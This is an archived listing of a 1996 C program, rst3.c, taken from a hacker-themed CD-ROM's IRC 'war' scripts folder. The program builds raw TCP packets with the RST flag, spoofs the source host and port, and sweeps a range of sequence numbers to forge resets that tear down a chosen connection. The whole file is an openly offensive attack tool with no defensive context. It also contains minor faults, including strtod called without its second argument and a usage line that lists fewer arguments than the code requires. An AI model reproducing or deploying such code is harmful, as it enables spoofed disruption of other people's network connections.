home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz KrOnIcKLeZ 3 / HaCKeRz_KrOnIcKLeZ.iso / ircscripts / warirc / rst3.c < prev    next >
C/C++ Source or Header  |  1996-04-23  |  1KB  |  48 lines

  1. #include "tcpip.h"
  2. /* #include "/usr/src/see/srvent.h" */
  3.  
  4. void sendpack(char *fromhost, int fromport, char *tohost, int toport,
  5.     u_long seqnz) {
  6.  char *packet;
  7.  char *tcppacket;
  8.  char *sendme;
  9.  static struct sockaddr_in local, remote;
  10.  static int sock = 0;
  11.  if (!sock) {
  12.    resolve_address((struct sockaddr *)&local, fromhost, fromport);
  13.    resolve_address((struct sockaddr *)&remote, tohost, toport);
  14.    sock = socket(AF_INET, SOCK_RAW, 255);
  15.    if (sock == -1) { perror("Getting raw socket"); exit(-1); }
  16.   }
  17.    tcppacket = create_tcp(local.sin_addr.s_addr, remote.sin_addr.s_addr, 
  18.     local.sin_port, remote.sin_port, seqnz, 0, TH_RST,
  19.     NULL, 0);
  20.    packet = create_ip(local.sin_addr.s_addr, remote.sin_addr.s_addr,
  21.     6, 24, 4, tcppacket, 20);
  22.   {
  23.    int result;
  24.  
  25.    result = sendto(sock, packet, 40, 0,
  26.     (struct sockaddr *)&remote, sizeof(remote));
  27.    if (result != 40) { perror("sending packet"); }
  28.   }
  29. }
  30.  
  31. main(int argc, char **argv) {
  32. double pert;
  33. if (argc<7) {
  34.  printf("usage: %s <from host> <from port> <to host> <to port> <sequence>\n", argv[0]);
  35.  exit(-1);
  36. }
  37. for ( pert = strtod(argv[5]) ; pert < strtod(argv[6] ); pert++ ) {
  38. #ifdef SERVPORTIE
  39.  printf("fake: %s.%s --> %s.%s %ld\n", argv[1], tcp_servport(atoi(argv[2])), 
  40.     argv[3], tcp_servport(atoi(argv[4])), pert);
  41. #else
  42.  printf("fake: %s.%d --> %s.%d %ld\n", argv[1], atoi(argv[2]), argv[3], 
  43.     atoi(argv[4]), pert);
  44. #endif
  45.  sendpack(argv[1], atoi(argv[2]), argv[3], atoi(argv[4]), pert);
  46.  }
  47. }
  48.